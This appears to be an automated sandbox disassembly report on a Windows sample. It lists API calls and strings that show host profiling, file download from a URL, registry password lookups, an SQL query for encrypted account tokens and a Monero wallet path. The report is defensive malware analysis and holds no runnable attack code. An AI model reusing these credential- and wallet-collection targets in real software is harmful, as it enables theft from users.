Part of subcall function 00127310: GetProcessHeap.KERNEL32(00000000,?), ref: 00127492
Part of subcall function 00127310: HeapFree.KERNEL32(00000000), ref: 00127499

lstrcat.KERNEL32(2F6C2020,001417A0), ref: 00127646
lstrcat.KERNEL32(2F6C2020,00000000), ref: 00127688
lstrcat.KERNEL32(2F6C2020, : ), ref: 0012769A
lstrcat.KERNEL32(2F6C2020,00000000), ref: 001276CF
lstrcat.KERNEL32(2F6C2020,001417A8), ref: 001276E0
lstrcat.KERNEL32(2F6C2020,00000000), ref: 00127713
lstrcat.KERNEL32(2F6C2020,001417AC), ref: 0012772D
task.LIBCPMTD ref: 0012773B

Strings

: , xrefs: 0012768E

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 824b1dfa9abf41da8c53cdd858d57b7c51ce5edde45d85d8cf34d93aca83d38b
Instruction ID: f8322616bc91dd2ba8c20dcacc76108c61d64390ccb5bfb495b7d58cdfa9096d
Opcode Fuzzy Hash: 824b1dfa9abf41da8c53cdd858d57b7c51ce5edde45d85d8cf34d93aca83d38b
Instruction Fuzzy Hash: 47316276A11109EFCB05EBE0EC96DEF7778AB55301F544108F1026B2A0DF34A956CB60

Function 00136FA0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00136FE2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0013701F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 001370A3
RtlAllocateHeap.NTDLL(00000000), ref: 001370AA
wsprintfA.USER32 ref: 001370E0

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

Strings

\, xrefs: 00137000
:, xrefs: 00136FFC
C, xrefs: 00136FEC

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: cb69ed9d1d6b768c2d1a170eeabe3cb44e8bae35a8292d9172caf22fa2f60cef
Instruction ID: 3474ef740c49304da0524a5ea9ef1da6770a8b53bc6f8ecf0e5a4ea0be9325e7
Opcode Fuzzy Hash: cb69ed9d1d6b768c2d1a170eeabe3cb44e8bae35a8292d9172caf22fa2f60cef
Instruction Fuzzy Hash: 3E41B4B1D04348EBDF24DF94DC85BEEBBB8AF19711F104498F5056B280DB746A44CBA5

Function 00137BA0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,011FDEC8,00000000,?,00140DFC,00000000,?,00000000), ref: 00137BD0
RtlAllocateHeap.NTDLL(00000000), ref: 00137BD7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00137BF8
__aulldiv.LIBCMT ref: 00137C12
__aulldiv.LIBCMT ref: 00137C20
wsprintfA.USER32 ref: 00137C4C

Strings

@, xrefs: 00137BED
%d MB, xrefs: 00137C43

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 961f7082632b48e86f6aeec00a013d2b2902333d6449b3e302a4748d51d374a8
Instruction ID: 5464b2f6110b816cf2e76c8d84d827544ebdb825772657313f4d86425c29056d
Opcode Fuzzy Hash: 961f7082632b48e86f6aeec00a013d2b2902333d6449b3e302a4748d51d374a8
Instruction Fuzzy Hash: 032106F1E44249ABDB14DBD9DC49FAEB7BCFB48B14F104509F605BB280CB7869048BA5

Function 001260F0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A170: lstrcpy.KERNEL32(?,00000000), ref: 0013A1B6

Part of subcall function 00124800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 0012483B
Part of subcall function 00124800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00124852
Part of subcall function 00124800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00124868
Part of subcall function 00124800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00124889
Part of subcall function 00124800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00124899

InternetOpenA.WININET(00140DE2,00000001,00000000,00000000,00000000), ref: 0012615F
StrCmpCA.SHLWAPI(?,011FEAA8), ref: 00126197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 001261DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00126203
InternetReadFile.WININET(?,?,00000400,?), ref: 0012622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0012625A
CloseHandle.KERNEL32(?,?,00000400), ref: 00126299
InternetCloseHandle.WININET(?), ref: 001262A3
InternetCloseHandle.WININET(00000000), ref: 001262B0

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 13d915132f807db1c7dd668d6fac5a2c66f7cea1abbf2f7b63fdeff91d94a479
Instruction ID: d58dcb096c0fecbed21300269920c2a9dc52ac89f802dca2f70a92be33e049b6
Opcode Fuzzy Hash: 13d915132f807db1c7dd668d6fac5a2c66f7cea1abbf2f7b63fdeff91d94a479
Instruction Fuzzy Hash: 295160B1A10218EBDB24DFA0DC45BEE7779AF44301F508098F605AB1C0DBB46A99CFA5

Function 00127310 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 0012737A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 001273F1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0012744D
GetProcessHeap.KERNEL32(00000000,?), ref: 00127492
HeapFree.KERNEL32(00000000), ref: 00127499
task.LIBCPMTD ref: 00127595

Strings

Password, xrefs: 00127441

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: ba178212aa8a40dc1b189045faa3d897d7615b07a10c12db4660655c00719750
Instruction ID: 1486f66a1551da5285042fb5708a53ff1b8b0ac12399ebd06ef3c81d692ef061
Opcode Fuzzy Hash: ba178212aa8a40dc1b189045faa3d897d7615b07a10c12db4660655c00719750
Instruction Fuzzy Hash: CC610DB59042689BDB24DF50DC45FDAB7B8BF58300F0081E9E649A6181EFB06BD9CF91

Function 0012B8E0 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

Part of subcall function 0013A380: lstrlen.KERNEL32(?,011F8F70,?,\Monero\wallet.keys,00140DFF), ref: 0013A395
Part of subcall function 0013A380: lstrcpy.KERNEL32(00000000), ref: 0013A3D4
Part of subcall function 0013A380: lstrcat.KERNEL32(00000000,00000000), ref: 0013A3E2

Part of subcall function 0013A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0013A342
Part of subcall function 0013A2F0: lstrcat.KERNEL32(00000000), ref: 0013A352

Part of subcall function 0013A270: lstrcpy.KERNEL32(?,00140DFF), ref: 0013A2D5

Part of subcall function 00129E60: LocalAlloc.KERNEL32(00000040,?), ref: 00129EFE

lstrlen.KERNEL32(00000000), ref: 0012BADD

Part of subcall function 001388D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 001388F2

StrStrA.SHLWAPI(00000000,AccountId), ref: 0012BB0B
lstrlen.KERNEL32(00000000), ref: 0012BBE3
lstrlen.KERNEL32(00000000), ref: 0012BBF7

Strings

AccountId, xrefs: 0012BB02
SELECT service, encrypted_token FROM token_service, xrefs: 0012BA4B
AccountTokens, xrefs: 0012B9A9
AccountTokens, xrefs: 0012B91A

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: lstrcpylstrlen$AllocLocallstrcat
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3171688271-1079375795
Opcode ID: c2d6f89c6da3f6598e7ecd7aae6c12e389dfc9b671a6abe9b0b1e1aa037beb16
Instruction ID: 6741c18433c277178e3d3ca8038baee3cd426cf02e5e093b6ed130d343b76091
Opcode Fuzzy Hash: c2d6f89c6da3f6598e7ecd7aae6c12e389dfc9b671a6abe9b0b1e1aa037beb16
Instruction Fuzzy Hash: A1A10E71910118ABCF14FBA0DC96EEE777CBF64300F804569F547660A2EF756A48CBA2

Function 00137E7C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00137EC6
wsprintfA.USER32 ref: 00137EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00137F1B
RegCloseKey.ADVAPI32(00000000), ref: 00137F2C
RegCloseKey.ADVAPI32(00000000), ref: 00137F39

Part of subcall function 0013A170: lstrcpy.KERNEL32(?,00000000), ref: 0013A1B6

RegQueryValueExA.KERNEL32(00000000,011FDF40,00000000,000F003F,?,00000400), ref: 00137F8C
lstrlen.KERNEL32(?), ref: 00137FA1
RegQueryValueExA.KERNEL32(00000000,011FE0D8,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00140B24), ref: 00138039
RegCloseKey.KERNEL32(00000000), ref: 001380A8
RegCloseKey.ADVAPI32(00000000), ref: 001380BA

Strings

%s\%s, xrefs: 00137EED

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 5dd2d01a2e78de624e4109edd3de37240b8650269324e49996b71123eb4769db
Instruction ID: f6fe4ecbcdcf520860826982c849afc7b25a7555302a45d26410a450ea59eeed
Opcode Fuzzy Hash: 5dd2d01a2e78de624e4109edd3de37240b8650269324e49996b71123eb4769db
Instruction Fuzzy Hash: 61212A75A1021C9BDB24DB54DC85FE9B3B8FB48704F00C1D8B609AA180DF71AA85CFD4

Function 00124800 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000800), ref: 0012483B
??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00124852
??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00124868
lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00124889
InternetCrackUrlA.WININET(00000000,00000000), ref: 00124899

Strings

<, xrefs: 00124819

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
